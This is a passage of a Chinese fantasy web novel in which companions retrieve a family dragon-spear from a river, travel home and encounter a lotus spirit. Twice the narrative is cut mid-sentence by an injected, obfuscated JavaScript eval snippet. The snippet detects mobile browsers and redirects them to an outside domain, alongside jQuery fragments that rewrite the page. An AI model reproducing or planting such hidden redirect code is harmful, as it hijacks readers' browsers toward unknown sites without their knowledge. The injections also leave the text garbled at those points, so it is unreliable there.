“这世间竟然真的有龙!”平安实在没想到花铁铁家还有一条龙,于是又对花铁铁万般崇拜。花铁铁扯着肿胀的嘴,得意呵呵笑。 柳延年那个煞风景的,不合时宜道:“那是不是你家龙龙,这么多年在外面修炼,心玩野了,不愿意认你啦?” 我怕柳延年又要挨揍,就瞪了他一眼,赶在花铁铁前面道:“不可能,不愿意直接不现身就好了,既然现身就是认的。而且修行到一定境界的神灵,大都是很有心胸,很有格局的,做事也有目的有章法,断不会只为了扇铁铁两个嘴巴而现身,图好玩啊?” 说完,我转头对花铁铁认真道:“这六合觉龙枪的来历我倒是知道,是千年前花家先祖跟随老唐开国皇帝创业时,途经长江入海口收服的一条蛟龙所化,说是那蛟龙走蛟入海讨封时,遇上劫难差点道消身死,还好被花家先祖因缘际会,巧妙化解,于是自愿报恩化作长枪,随着花家军南征北战,代代相传,老唐千年国祚,残存的史书记载,蛟龙在中唐五百年时,凭借功德成功升阶为螭龙,被唐皇册封为神圣青龙神君。” 大家都对六合觉龙枪的身世肃然起敬,对花铁铁依然,却见花铁铁幽幽地道:“螭,螭龙?那个字念‘螭’啊?” “不然呢?念‘离’啊?”我不禁反问。 “我看书看到那里的时候,也没人告诉我那个字念螭啊。”花铁铁难得红了脸,有些尴尬地吃着大饼子嘟囔着。 我“啧”了一声道:“你看书的时候没人告诉你,你听书的时候,就没听耳朵里去啊” 花铁铁说听书的时候听了,但是看书的时候,没想起来,没对上。 这种情况我幼时读书也遇到过,就比如我明明听说过水獭读作水塔,但是当年在代国和齐王一起看书的时候,还是读成了水赖,此事后来,齐王一直记得,都七老八十了,还时常笑呵呵地念叨。 忽然脑中闪过一个念头,于是我赶紧问花铁铁,“你之前撇下堂邑夫独自下水,是不是给你家龙龙口封去了?” “嗯,不过没口封成,就给扇上岸了。”花铁铁低声道。 “可不得给你扇上岸吗?那叫你张口胡乱叫一通,什么修行毁不掉啊。你们家龙龙对你够好的了,干一般的连个字都念不对就臭不要脸跑去给人口封,别说脸给打成猪头了,不打的满地找牙吐血而亡啊。”说完我又觉得不对,“可是你家龙龙早就是螭龙啊,而且,龙修行,过了蛟龙那个阶段就不用讨封了,直接升阶就可以了。你不是下去两次吗?第二次你又干啥了?” “啊?过了蛟龙那个阶段就不用讨封了啊?也没告诉我啊?”花铁铁又嘟囔了一下,“书上也没写啊?” “书上写了,是你读的书少。大乱战以后,人间典籍损失无数,你就算博览群书,所得知识,也不过是大乱战前的九牛一毛,何况你还不爱读?”我揉了揉眉心,复又催问她第二次下去干啥了。 花铁铁撅了撅嘴巴,按下懊恼,提起精神回复我道:“还能干啥啊,我被扇上来就在这江心石上坐了一天一夜,苦思冥想也不知道错在哪里,最后觉得他老人家如此生气,可能是这么多年修为又提升了,我给人叫螭龙,把身份叫小了,生气不愿意了,所以才给了我一巴掌。 于是我就再次下水,恭恭敬敬地行礼,想着龙修行升阶,螭龙之后是扎龙,结果刚说了一个‘扎’字,就又给扇上来了,你们来的时候我正犯愁呢,难不成我家龙龙天赋异禀,提前几百年修成应龙正神了,那……” 众人听着听着,一脸无语。 我脑子嗡嗡的,打断花铁铁:“有没有可能,那个字念虬?” 看着没,书到用时方恨少,老话从来没错,可就是有人不听。我要是给我家神君口封的时候,犯这种低级错误坏了他的修为,他不灭了我就是顶好的了,更别提和我缔结主仆契约的事儿了。 心中又十分感叹,并万分同情神灵修行的不易,要知道讨封是神灵修行升阶必经的一个阶段,属于人劫的一种,若是应劫的人,才、德、能力,有一样稍有不足,一个闪失,神灵的修为就全废了。 我之所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935815|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能给我家神君口封,一是因为我知晓老虎修行的品阶,一般人顶多知道一个山君,就封顶了;二是我本身内力丰沛,虽然之后累得精疲力竭昏睡不醒,但到底足够支撑我完成口封;三是我本身就是个有口德的人,从不胡说八道;四,也实在是我家神君气运绝佳,能遇上我这么个十全十美的妙人,但凡遇上的是花铁铁,就算前面都侥幸过了,最后一关,也够呛,柳延年肯定就被我家神君给“有备无患”补身子,没跑了。 花铁铁低下羞愧的头颅,手中没吃完的大饼子,如何也咽不下去了。她一方面自责,一方面觉得她来的太晚了,她家龙龙已经飞升正神,用不到她了。 “按时间推算,你家龙龙还没修炼到正神,还差一个机缘。”我侧头看了看花铁铁,叹了口气,道:“唉,从小就叫你多读点书,你老是不愿意!但凡能叫对名字,也不至于挨这两嘴巴子。挨了也无所谓,关键你家龙龙现在可能已经对你心灰意冷了,花家最后一代血脉是个大傻子,字都认不全,你叫他怎么放心确定你就是那个机缘,安心跟着你成就大业,积攒功德,飞升正位?” 花铁铁抬起头回看我,一脸担忧:“那怎么办?”说完她又一挑眉,扫了其他人一圈。 我也顺势扫了一圈,眼睛转了转,明白花铁铁的暗示,叫堂邑夫和郑清带着柳延年和平安先上岸,把他们支走,有些话有些事,不方便他们知道。 平安倒是痛快地听话,可柳延年却很想留下,说是不放心我,想陪着我。 不放心我?啊哈哈,瞎说什么大笑话,我用他陪着啊?虽然他是关心我,但此举不免有些看低我的实力。 我心里有些恼,于是便没好气地吓唬他,说他还有很多理想很多抱负没实现,还有很多钱没花完,叫他识相点,别什么热闹都凑,保命要紧。 柳延年还是不肯,平安劝他道:“她们俩要研究下水降龙了,咱们又帮不上什么忙,还是走吧,这块江心石虽然不小,但是起了大浪,一个浪头也能给咱们都掀下去,咱们走吧花郎,别给她们添乱,咱们不给她们拖后腿就是帮忙了。可别跟电视里那些,让走不走,最后把人拖累死的愚蠢配角一样。” 柳延年一听瞬间醒悟,便同意离开,叮嘱我万万小心。 见他们飞身而去,我才和花铁铁席地而坐,一边等她把剩下的饼子吃完,一边道:“还能吃饼,你家龙龙对你够好的了。你跟我老实说,前一阵子咱们翻阅兵器谱残卷,里面提了一嘴你们花家六合觉龙枪的事,你是不是那时候动的心?” 花铁铁一脸你说什么大笑话的样子,道:“怎么可能是那时候才动的心,身为花家后人,我自打懂事起,就没放下过这个心思。”然后她又神秘兮兮的样子附身过来,在我耳边道:“知道,我为啥一定要你跟着来吗?” 我一挑眉:“开诚布公,给我细细说一说呗。” 花铁铁伸出手指勾上我脖子上的细绳,将狐心舍利扯了出来,用下巴指了指道:“这狐心舍利,可是李唐皇室珍传之物,先前我送给你的时候,上来就和你明说了,就是在点你呢。你却和平安只顾着抱头哭,问我哪里来的,我当时不是还卖了个关子没告诉你吗?其实不是不想告诉你,实在是事关你的真实身世,当时又是在宫里,不好说。” 呵呵,果然伶俐不过江湖,花铁铁混江湖比我还早,平时看着没个正形,但遇到紧要又关键的事情,她警觉的很,其中分寸,她最会拿捏。 69. 挑明 我不禁赞赏地看着花铁铁,“你知道啦?你怎么知道的?”虽然是问句,但我其实并不十分震惊,虽然未曾与她挑明过身份,但心中好像早就隐隐察觉花铁铁知道此事,只等着今日跟她对质一般。 花铁铁微微一笑,一副我不信你一点看不穿的样子,吞下最后一口饼子,腾出手来,将狐心舍利重新掖进我衣领里藏好。鼓着一侧腮帮子懒懒地解释道:“我读书少,但我可不傻。这东西其实……原本是杜晦给你搜寻到的,应该是打算等你从上郡回来给你的。” 提起杜晦,花铁铁脸色一暗。 “后来他不是折在建州了嘛,我当时听了心如死灰,精神好一点了,就想着去他府邸找点他的遗物留着做个念想,你那狐心舍利,他放在他那个破密室最显眼的位置,用一个特别好看的锦盒盛着,里面还放着一张纸,写着你的名字和……姓氏……然后我就什么都明白了。” 杜晦竟然更早知道我的身世,还一直帮我隐藏。我心中又是一阵感动,别过头缓了缓情绪,才转过脸问花铁铁:“你不怨我瞒着你啊?” “这有什么好怨的,你那身份确实不能说,我身世不也没和你说吗?”花铁铁知道,她的身份可以明出来,但我的身份是万万不能透露的。 她忽然有些抱歉,道:“这次我硬拉着你来,是因为,想重新启用我家六合觉龙枪,实在是必须得你出把力。不然,我也不挑明你身份了。要知道一开始拉着你来,也只是有备无患,不一定能用上,毕竟我也没有十足把握,那就是我家龙龙。” 明白了,就像先前,柳延年是我家神君的有备无患,我其实就是花铁铁的有备无患,用不用得上不确定,但一定得备上。 见我神色不明,花铁铁有些抱歉,毕竟我的身世,是我唯一藏到现在的绝密,就那么轻易被她揭晓了。她又怯怯的弱弱地解释,想要启用花家的六合觉龙枪,是一定得要李唐血脉破阵的。说完她小心翼翼的看着我,眼中全是少有的忐忑。 我笑了笑,叫她安心,不要胡思乱想,夸她此番做事一如既往的周密,直到现在才将事情原委透露出来。 又道,若是普通蛟龙我断然不会插手。毕竟我内力宝贵,得留着做大事儿,没必要无端消耗,定会如先前那般竭力反对,但既然花铁铁已经确定是花家的龙龙,那就另说了。 花铁铁忙说,不需要耗费内力,只要一点心头血。“身体发肤受之父母,你……” 我道:“你我今日坦诚相见,两家祖上又有这么深的渊源,一点血我又岂会吝啬。如今我们都认了大汉天子做主子,以后像祖上那般相辅相成,闯出一番事业来,也可传为佳话。”花铁铁想收服河西之地,恢复花家荣光,我自会帮她;我想借助大汉天子一统江山的国策大略,报杀父杀母窃国之仇,她自然也会助我。 花铁铁感动不已,随即对我推心置腹、满盘托出。关于六合觉龙枪,花家一直有密信传承下来,花铁铁说她之前下去看后,确定她家龙龙如同密信中所说那般,并非单单在下面修行,还被一个法阵保护着。 “保护着?”我想起我家无乾神君,料定其中必定还有隐情,于是道:“确定不是困在其中吗?” “是保护。”花铁铁说当年六合觉龙枪入水以后,唐皇派人下水捕捞无果,不是没找到,而是那枪一沾了水,便重似千金,根本打捞不上来。 “于是只能放弃。”花铁铁叹了口气,接着道:“当年老唐最后一任钦天监监正奉秘旨暗中设下法阵,保护我家龙龙在此修行升阶安稳避劫,同时还起到隐匿作用,当然也意味着被限制了自由,你方才说是困在其中,也不算错。 我之前下水,看阵法经年累月有一角已经破损了,推断应该就因为这个破损暴露了龙龙的踪迹,每逢刮风下雨,江上龙气盛行,又有诸如鳄鱼巨鼋等妖物为祸,便被误以为是蛟龙作乱。” 花铁铁一副很心疼她家龙龙被误解的样子。接着又将密信中的内容一五一十说给我听。我和花铁铁谋划了一番。 岸上,平安四人躲在一个巨石后面,只露出四个小头,很是可爱,但其他看热闹的人,就很让人心生厌恶,吃西瓜嗑瓜子,哈哈说笑,袒胸露乳抠脚的…… 我想着大白天人多眼杂,不如到晚上夜深人静的时候,再下到江中。可花铁铁天生是个急性子等不及,她又素来喜欢高调,“降龙”这种事情,她才不肯半夜里悄没声息的偷偷干。 我的药有奇效,花铁铁的脸上的浮肿,已经消下去不少。我劝她还是休息一晚,等脸彻底好了,再行动不迟。她背过身,从怀里掏出小镜子看了看,又拿出随身带的易容用品,对着镜子一番修饰,不多时,竟又变成那个英俊潇洒的翩翩公子,脸上有细微的异样,虽不比之前,但不细看断然看不出破绽。 我见倔不过她,就和她一起想了一套说辞,对了对,补全漏洞,以作后用。至于其他没顾上的,到时候让我家神君织造一个幻境修补就行了。 按照花家密信上的方法,先用银针刺破我的胸口,取我心头血,在我手心里写上一个“启”字,紧紧攥住。随后花铁铁也取了心头血,在自己手中写了一个“收”字,紧紧攥住。 做好所有准备工作,随后我们就按照计划好的行动。 行动一开始,就一个字都不能说了,这叫闭口谶。入水前花铁铁眼神再三郑重地示意我,一定要把拳头攥紧。 有些东西一但有了特殊用途,就有了灵性,我下到水中,必须到地儿,看见阵眼,才能将手掌打开,不然那字会提前跑掉,我手心就空空如也了。而且机缘通常只有一次,一旦错过了,根本没有再来一次的机会,一切等待和努力就全白费了。 花家的那条青龙,也会被永远封印,最后随着阵法一同消散。所以,这是一场只许成功不许失败的行动。 很多年后,我都依然记得那次行动的紧张感,我虽然面不改色,但其实小小的胸膛里,心跳的十分厉害,一点儿不亚于我第一次做任务的时候。 那日,在外人看来,花铁铁对还是一个孩童的我极其冷酷,甚至残忍,岸上的人只见身为男子的她,甩出腰间的锁子长鞭,缠住我细细的脚踝,在天上轮了几圈,然后像钓鱼甩杆放饵一样将我甩了出去。 众人一阵惊呼。柳延年直接从石头后面跳了出来,跑到江边边儿上,神色紧张的看着江面。 我下去许久不见上来,众人都觉得我可能给湍急的江水冲走了。柳延年便愈发急躁起来,像一个盼望上战场的孩儿安全归来的老父亲一般。 闲言碎语越来越多,柳延年在岸边急得疯了一样又蹦又跳,遥遥指着花铁铁破口大骂,平安赶紧过去拉他,提醒他,身为小姐的他都喊成男声了,叫他稍安勿躁,别听那些碎嘴子胡诌,且耐心等待。 柳延年却几近癫狂,完全失去理智。平安根本拉不住他,郑清上前护住平安。堂邑夫眼见花铁铁被惹得不悦,眉头越拧越紧,也实在听不下去柳延年胡言乱语说那些不吉利的话,就一个手刀击晕 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“哇,她男装真的好帅啊。”平安眼里的星星满溢而出。 我哼了一声,心道:要是我也能长大,扮男装我也一定很帅的。 一切按照我们的计划圆满成功。花铁铁对她的六合觉龙枪爱不释手。根本不理会那些七嘴八舌恭维祝贺的人们。我觉得花铁铁有些太高傲冷漠了,堂邑夫却傻不愣登,自豪地说,这般景象不亚于当日他打虎归来,还有除鳄斩鼋都是这番景象,铁铁见怪不怪了。 我嗤之以鼻,但见奔走相告涌上来的人越来越多,便警觉起来,暗自责怪花铁铁实在太招摇了。心灵感应花狸子神君,要他赶紧给岸边看热闹的百姓和高手编织一个幻境。 花狸子神君说不行,他说人群中有大气运者,他没办法施法。又说刚才水柱巨大,六合觉龙枪真身青龙出水时自带云雾遮隐,岸上的人离得远,并没有看清详情,叫我不必过分担心。 我扫了一圈,感受到隐隐似无的熟悉的气息,垂目思索,心中又是一番计较,便与花铁铁小声耳语。花铁铁闻言,不着痕迹的试着探寻,虽然毫无所获,但对我的话,也十分重视,深信不疑,便也警觉。 人们都吆喝着叫降龙英雄说两句。 于是我和花铁铁站在高处对众人喊话,说这江中并没有蛟龙为祸,每逢刮风下雨,看到的一切都是这杆神枪的影像。以前作恶的鳄鱼和巨鼋已然被肃清,如今我二人合力将此神枪打捞而出,以后这江中便一切风调雨顺,太平安康,叫百姓们放心安心。 众人顿时高声叫好。 花家的六合觉龙枪,是非常有名的,嘈杂的人群里不乏有见多识广之人,稍稍加以揣度便猜测了出来,旋即便双目放光,要揭露出来,我立即冷声呵道:“神兵出水,自有天意,劝慧眼者切莫多嘴,逞一时之口快,泄了天机,糟了反噬,折了一身福报。” 人们向来敬畏鬼神,对一些奇闻轶事的禁忌深信不疑,自然知道其中厉害,窃窃私语一番,怕惹祸上身,便纷纷住口。只有人问我们尊姓大名,说是要在此立碑著书,永留功绩,为后人瞻仰。 我拉住咧着大嘴呲着大牙要自报家门的花铁铁,呵呵一笑,朗声道:“我们身份尔等切莫打听,他朝我们名扬天下,自有你们知晓的一天。” 随即,我们拿着降龙旗,骑上马儿,回凤临城报道,复命领赏。百姓们跟随着马儿夹道相送,久久不愿离去。 70. 回京 回去凤临城的路上,柳延年一直晕着。 我问众人他又咋了。 平安对我说:“长安,花郎对你真的挺情真意切的,见花铁铁把你当鱼饵抡起来甩了几圈抛下水,他当时就急了,堂邑夫跟他说你水性很好他也担心不已,见你久久不上来,就像疯了一样,我劝什么,他都不听,嚷嚷着说你要是有个三长两短,他活着也没意思,还往水里扑,说生是你的人,死是你的鬼,要给你作伴云云。” 当时柳延年在岸上大骂,却还有些理智,怕暴露我们身份,不敢叫出我和花铁铁的名字,只用“天杀的”指代花铁铁,唤我作“他的心肝小宝贝”。平安拉着他叫他冷静,还借我的话叫他好好活着,说他还有远大理想,和抱负什么的,竟也毫无作用,无论如何也阻挡不住他赴死的决心。 平安觉得那情形,她用嘴巴无法描述,就叫堂邑夫情景再现,表演了一番。虽然四下无人,堂邑夫骑着马,演得也是收敛,但我依然受到了暴击,脑补出当时的画面,斥责堂邑夫下手太晚了。 花铁铁惊奇不已,一脸疑惑,问道:“你俩啥时候,感情这么深厚了,这家伙见你有危险,连死都不怕了!” 我抽了抽嘴角,跟他们解释说:“应该是一同落入虎穴,有了过命的交情,他因此格外看重我一些,也是正常。” 我想了想,转头看了看身后趴在马背上的柳延年,接着对众人道:“他之前孤苦,身世坎坷,飘零无依。仙根被毁,其心中悲恸不亚于男人被阉割。咱们既然都是一家人了,以后就对他别太苛责,要多多照拂,与他亲好一些,这样他就不会因为我对他好了一点,与他有了一些别样经历,就把我当成感情寄托,我一个人可不好承受他的生命之重,你们也分担一些。” 我的一番言论,引得众人不由深思,想起柳延年的遭遇,十分同情,纷纷赞同的点点头。花铁铁侧头看了看昏迷不醒的柳延年,松口说对他好是不可能的,但能保证以后对他不那么坏。 话音刚落,柳延年便忽然醒来,挣扎着叫嚷起来:“你个天杀的还我心肝小宝贝来,我要跟你拼了,啊……”不出意外的出了意外,柳延年掉下马,头重重摔了一下又晕了过去。 我们制住被柳延年突如其来的叫声惊了的马儿,回过头来看着地上的柳延年,不约而同地叹了口气:“唉……” 此番,汉中之行我们大获全胜,收获满满。堂邑夫跟汉中官员展露学宫腰牌,要了一纸批文,将山君,鳄鱼,巨鼋,加急送回京畿,存放于冰库之中。 我们则处理完凤临城小院车马等一应事务,收拾好行囊,翌日清晨,去官驿骑马,慢慢赶路,徐徐归矣。 柳延年昏睡了一夜,彻底清醒以后,还是气不过,赶路休整的间隙,堵上花铁铁,壮着胆子责问,为什么一定要把我当鱼饵钓她家龙龙。 花铁铁按照我们串好的说辞,懒懒地解释道:“因为长安是天生的金童体,有点修行的神灵都会不受控制的被她身上的香味儿吸引出来,她以前还在灵昆池引上来一条大鱼精呢,昨个帮我下水引一下我家龙龙怎么了?” “那为什么一定要轮几圈,甩下去?也太不尊重人了。”柳延年不依不饶。 “你懂个屁,那样可以增加入水的力度,帮助长安更好的潜入水下,一切都是长安自愿的。你咋呼个啥?”花铁铁忍着怒气,实在不想和他多费口舌。 柳延年气愤道:“你说自愿就自愿啊,就你这脾气,你身边有不自愿的吗?”他曾今受尽了花铁铁的强迫,领教过花铁铁“无所不用其极”的手段,自然不愿相信有什么人能对花铁铁自愿。可一想到我对花铁铁的情份,便对我自愿帮助花铁铁降龙一事,深信不疑。 柳延年红着眼睛,接着十分激动地指着花铁铁,怒斥道:“就算真是长安自愿的,你就可以同意啊?花铁铁你真是人如其名,铁石心肠,她那么小那么可爱,你不爱护她,反倒就喜欢欺负她,一点也不知道心疼她,亏她把你看得这么重要,还觉得你爱她,哼,花铁铁你就是个没心没……” “有病吧你?大清早的狗叫什么?我答应长安,以后不打你了,但你也别不识好歹,别在这里瞎胡闹啊。”花铁铁挥开柳延年的手臂,打断柳延年,双拳紧握,指节啪啪作响,显示自己已经没什么耐心了,说完就要走,让柳延年起开。 并不退缩的柳延年,硬着头皮丝毫不愿让出路来。 要说大路朝天各走一边,又是荒郊野外的大空地,走哪不行啊,柳延年那个死心眼儿的不愿动,花铁铁绕一下就行。可是依照她的脾气,让她绕一下,等同于低头,服软,认输,这是天大的事,哪怕绕半步都是万万不能的,于是两人对峙了起来,幼稚的像两个吵架斗气的小孩子。 我们其他四人,在一边排排坐看着他们,想着一会儿柳延年作死挨揍,我们瞅准时机,让他挨两下,给花铁铁出出气,就赶紧救下他。 花铁铁仰着下巴盛气凌人地看着柳花郎,冷笑一声,食指在他肩膀上插了两下,道:“哦,对了,你是天生仙骨哈,啧啧啧,居然把你忘了,要论起来,你可比长安的金童体好使多了,早知道用你去引我家龙龙上来了。切,这么心疼长安,以后再有这样的事,你有本事别怕死别退缩,你上啊!?”这段话,是花铁铁临时加的,并不是我们提前说好的。 “一言为定。”柳延年挺着身板,阴沉着脸,咬着后槽牙甩下这一句,转身走开。 我问他干啥去,他说解手去。 这家伙还是怕挨揍,居然尿遁。花铁铁哼哼着,白了柳延年一眼,朝我和平安这边走过来,自然要跟我们狠狠吐槽一番。见我一路上都抱着一只狸花猫,伸手过来摸了摸,嘬着嘴逗弄了一番,觉得十分可爱,喜欢得紧,就直接抱过去,问从哪弄的。 我只说捡的。把花狸子神君抱回来,没好气地对花铁铁说,手里没好吃的,就不要嘬嘬嘬。 一番休整,我们继续赶路,从前我都是和堂邑夫一骑的,但现在柳延年非要和我一骑,正好我想让堂邑夫和花铁铁并肩同行,于是欣然答应。 马背上,我抱着我的花狸子神君,柳延年咧着大嘴抱着我,虽然他还是惧后,时不时往身后看,但一路上他对我体贴入微,饿了渴了,热了冷了,百般关切照顾有加,看得众人一愣一愣的。 我向来喜欢别人对我好,很是享受他的爱护。柳延年见状,欣喜不已,眉眼弯弯,更加卖力变着法子对我好。 花铁铁煞风景,给他添堵,说他再笑下去,牙都晒黑了。正巧堂邑夫递水给她,花铁铁看着水囊,一脸警告道:“滚!你敢学他,我弄死你。” “我就递个水,我怎么我就学他……对你好,我还用学啊?这么多年了,没他的时候,我就对你好……怎么就成了学他了……”堂邑夫很受伤,悻悻地收起水囊,一脸难过。 “对啊,你个没良心的,论起疼人,谁也比不过我大螳螂,我大螳螂对你比柳延年对我更胜一……好多筹好吧?!”我为堂邑夫打抱不平。 此言一出,花铁铁和堂邑夫还没做反应,柳延年倒抢了先。“比我还更胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984145|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好多筹!?那我可得跟堂邑夫多学学。” 花铁铁和堂邑夫回头看向我们,然后像是被憋了一下,什么也没说,转过头去继续赶路。 我侧头回看,只见柳延年一脸惊讶,却又微微咬着下唇,蹙着好看的眉头,有些懊恼,自责自己还有不足,对我还不够好的样子,而后又在我耳边柔声道:“长安,你以后就唤我花郎吧。” “滚!”我没好气地斥了一声。不是说以后只有你娘子能叫你花郎吗,做什么又让我这般唤你,有病! 柳延年依旧呲着大牙乐呵,没有丝毫不快。 那边郑清若有所思地看了看身前的平安,低声道:“我要不要也跟堂大哥多学学。” 原本倚在郑清怀里的平安,急忙直起身子,回头对上郑清的眼睛,认真道:“不要,学别人做什么?我喜欢原原本本的你,你就做你,不要学堂邑夫,不要学任何人,清哥哥,我就喜欢你,我不要透过你感受其他男人讨好女人的心思和花招,我只喜欢你。” 郑清闻言,满眼感动,俊俏的脸上晕开温柔的潮红。 其他男人讨好女人的心思和花招?心思,花招?男人,讨好,女人……那柳延年对我…… 听了平安的话,我乱了一下,若有所思,仰头看了看柳延年,柳延年低头看了看我。 我心里仿佛期待什么,又害怕畏惧着什么,我明确自己对柳延年多少还是有些嫌弃的,但分明又在渴望着什么。一时间我心中满是复杂的情绪,便又转了转身子,几乎将身子侧了过来,瞪着大眼睛深深地看着柳延年,企图捕捉到一些细节。 柳延年茫然,也深深回看着我,许是觉得我莫名其妙,又觉得我可爱,他眉眼弯弯呵呵笑起来,傻傻地憨憨地呲着大牙问:“长安,你看啥呢?”旋即他像是明白了什么一般,道:“哦,你放心我也不学。”然后像大哥哥对小妹妹一样,在我肥嘟嘟的脸蛋上捏了捏。 我转过头去坐好,心里叹了口气,确定道:嗯,原来也只是把我当成家人,当成弟弟妹妹疼爱,呵,这是好事,是好事! 虽然叫好,终究是有些失望的。呵,有什么好失望的呢?但凡是个正常人,谁会喜欢一个长不大的残疾呢?我微微苦笑,暗讽自己居然真的在期待那些有的没的,明明一副残躯,明明早知一切不可更改,却到现在都期盼着那些永远不属于自己的东西,我才是那个扭曲的人吧! 我心揪成一团,疼得难受,只慢慢静下心来,不断安抚自己,劝慰自己,不该想的别想。还坚定且高傲的认为,若柳延年真有那份心思,我也是断然看不上的,我不能因为自己身有残疾,就卑微的不挑不检,我尊贵着呢,不是谁都配得上的。 这样想着,果然心里好受了一些,下一刻,却见,前头是你追我赶的花铁铁和堂邑夫,身边是同乘一骑的平安和郑清,路边的蝴蝶是成双的,枝头的鸟儿是成对儿的…… 我哽了哽喉头,咽下唇间的苦涩,隐去眼中的伤悲,可嘴巴还是委屈的瘪了瘪,鼻子酸得眼泪差点流出来。我尊贵个屁啊我,我就是个谁也瞧不上的残疾……我还瞧不上这个,瞧不上那个,人柳延年就算仙根毁了,人也是个健全人,我算个什么…… “长安,你头那么低,在想什么呢?”柳延年柔声问。 “我想长大!”我干脆把头埋进花狸子神君身上。 “……” 要是能长大,拿什么换,我都愿意! 马儿在山道上徐行,风中带着山林独有的味道,怀里的花狸子神君,喵喵叫着…… 71. 青莲 傍晚,我们找了一处安营扎寨的好地方,大家说说笑笑,忙前忙后…… 我去湖边打水,花铁铁兴奋地跑到我身边,感动道:“我听平安说柳延年说你们在虎穴,他曾问你为什么和我做朋友,你说我优点像太阳一样光亮,照的我一点儿缺点也没有了,真是这样吗?我在你心中这么伟大吗,像太阳一样?” 这些人嘴是真快啊。 我头疼,抚了抚额角,按了按太阳穴,道:“你是不是听漏了什么?” “不可能,一字一句,我听的真真的,怎么?你还夸我什么了?要是漏了,也是他们没说全。”花铁铁一脸认真。 传话哪有不走样的?我心口一憋,摇了摇头,“唉,以后有什么还是直接问我吧,他们没有经过专业训练,说出来的话啊,传着传着就传变了样子。” 我将我和柳延年的话原方不动地给花铁铁说了一遍。着重强调,她缺点像星星一样,多得数也数不清。 “……那我在你心里也是太阳,不过我确实很爱你,很爱很爱你。”花铁铁得意地扬了扬傲娇的下巴,抱着我就狠狠亲了一大口。 忽然,湖另一边的平安,发出惊叹:“哇,清哥哥你快来看,你看,好特别好美的莲花啊。” 我和花铁铁顺着平安手指的方向,伸着脖子看去,却被湖中茂盛的荷叶挡住视线,并没看见什么特别的莲花。于是带着好奇,赶紧跑去平安那边看。 只听得郑清道:“喜欢吗,我去帮你摘来。”话音落下,郑清一个飞身,足尖轻点着荷叶,到了湖中央,一个鹞子翻身,稍稍一滞,采了莲花,然后旋身回来,动作干净利落,一气呵成。 等我们跑过去,郑清已经在平安身前站定身子,微笑着将手里刚才的花,往前一递,送给平安,却见他手中此时只剩一根莲花花茎,花托花瓣全然不见了。 “这是怎,怎么回事?”郑清涨红着脸,看着手里的花茎,震惊不已。 平安也一脸茫然,惊讶地道:“对啊,这是怎么回事?我明明看见你采回来了……” 我上前问道:“是一朵怎样的莲花?” “很大很漂亮。”平安和郑清异口同声。 我有些无语,却耐心继续问:“又大又漂亮的多了去了,我是问有什么特别之处。”这朵莲花肯定是和别的莲花不一样,才能在这一池的莲花中,吸引平安的注意力。 “嗯……”平安认真想了想道:“夕阳之下,别的花都被晚霞渲染成金色橙色红色,只有这朵看着有些发绿发蓝,闪着荧荧的光,但具体什么样子,我也不好描述,就是感觉清新脱俗的很。”平安感觉词穷,有些窘迫。 花铁铁一手抱臂,一手托着下巴,做思考状,悠悠道:“清新脱俗?但是发着荧荧绿光蓝光,这是清新脱俗的感觉吗?这怎么感觉都很妖(异邪魅)……” 我预感花铁铁狗嘴里吐不出象牙,急忙用胳膊肘撞了一下花铁铁,打断她继续说些不吉利的话,“说点好的吧,开口之前能不能先过过脑子,万一是遇上山中修行的精灵,你说点好的,结点善缘难道不好吗?” “山中修行的精灵?”花铁铁像是受到了启发,眼睛猛然一亮,道:“莲花是从藕上长出来的,那……”她看问题的视角,总是刁钻。就不能关注到点子上。 花铁铁话音刚落,湖中便有了动静,只见水中似乎有什么在快速穿行,四处躲藏隐匿。果然是有灵性的,花铁铁兴奋地难以自抑,哈哈大笑着,甩出腰间的锁子鞭,欲将那灵藕抓来。 我赶紧挥手制止,道:“便是修行有了造化的精灵,也只是在这湖中静静生长,并未作乱为害人间,咱们不要打扰人家,还是速速离开吧。”可别作孽了! “既露了行迹,叫咱们碰上了,就是它命中该有此一劫,我倒要看看莲藕成了精是什么样子。”花铁铁眼里的光都发绿了。 堂邑夫和柳延年听到湖边的动静,放下手中的活儿,跑过来。跟郑清平安了解了情况,就和我齐心协力一起极力阻拦,“铁铁你听劝,别胡闹。” 须臾间,湖中已经没了动静,显然是那有了灵性的莲藕藏好了身形。 花铁铁像苍蝇一样搓着手,咧着大嘴哈哈大笑着坏坏地恐吓:“藏好了吗?那我要来了哦!” “铁铁!你要是再胡闹,我就不和你好了。”我生气了。 花铁铁铁了心要长长见识,让我别生气,跟我保证就是挖出来看看什么样子,然后再栽回去。还说郑清和平安都给人家花摘了,她玩出来看看又能咋了。 她这般无理取闹,强词夺理,我竟然词穷,心口憋得难受到无言以对?!真是个倔驴啊!!! “唉!” 炎炎夏日,一声叹息,竟让众人脊背发凉。 大家都对花铁铁提着一口气,但我们确定这声叹气,不是我们六人中的任何一个人发出的。面面相觑,下一刻我们背朝里将平安环在中间,警惕的看着四周。 “都说了,别胡闹,别胡闹,你非是不听,这山中修行的精灵,多少是有些本事在身上的,轻易不要招惹,郑清采了人家一朵莲花,人家不计较,咱们就得识好,你偏要把人家藕根真身都挖出来开开眼儿不可。”这下怕是真的要小刀揦屁股了。我气得不行,埋怨着花铁铁。 